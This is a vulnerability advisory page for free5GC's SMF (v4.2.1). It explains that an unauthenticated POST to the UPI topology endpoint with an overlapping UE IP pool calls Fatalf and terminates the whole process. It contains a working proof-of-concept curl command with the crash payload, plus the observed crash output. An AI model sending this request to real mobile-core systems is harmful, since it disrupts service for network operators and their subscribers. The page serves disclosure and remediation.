Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-44qj-cghf-9p97

HighCVSS 7.5 / 10
Published May 8, 2026·Last modified May 8, 2026
Affected Components(0)

No affected components available

Description

Summary

free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.

Details

Validated against the SMF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/smf:v4.2.1
  • Runtime SMF commit: 8385c00a
  • Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:47:07Z)
  • SMF endpoint: http://10.100.200.6:8000

The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:

Vulnerable handler dispatches into topology parsing:

POST /upi/v1/upNodesLinks
 -> UpNodesFromConfiguration()
   -> isOverlap(allUEIPPools)
     -> logger.InitLog.Fatalf("overlap cidr value between UPFs")

Code evidence (paths in free5gc/smf):

  • UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability):
    • NFs/smf/internal/sbi/server.go:76
    • NFs/smf/internal/sbi/server.go:78
  • Create-or-update handler accepts attacker JSON and forwards it to UpNodesFromConfiguration():
    • NFs/smf/internal/sbi/api_upi.go:60
    • NFs/smf/internal/sbi/api_upi.go:72
  • Pool parsing (input from attacker JSON):
    • NFs/smf/internal/context/user_plane_information.go:413
  • Overlap check that calls Fatalf:
    • NFs/smf/internal/context/user_plane_information.go:479

The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler:

  • NFs/smf/internal/context/user_plane_information.go:416
  • NFs/smf/internal/context/user_plane_information.go:424
  • NFs/smf/internal/context/user_plane_information.go:430

PoC

Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

  1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (10.60.0.0/16):
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
  -H 'Content-Type: application/json' \
  --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'

Client-side observation (server died mid-request, no HTTP response written):

curl: (52) Empty reply from server
  1. Confirm the SMF container exited:
docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}'
smf    Exited (1) 9 seconds ago
  1. SMF container logs (docker logs --tail 80 smf) show the FATA line that terminated the process:
[FATA][SMF][Init] overlap cidr value between UPFs

Impact

Unauthenticated process-kill DoS on the SMF management plane.

  1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI.
  2. Reachable assertion / fail-fast (CWE-617): topology parsing calls logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.

Any party that can reach SMF on the SBI can:

  • Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted.
  • Repeat the trigger after every restart to sustain the outage.
  • Use sibling Fatalf paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using Fatalf for request-time validation on an unauthenticated handler.

No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203

Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.36%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard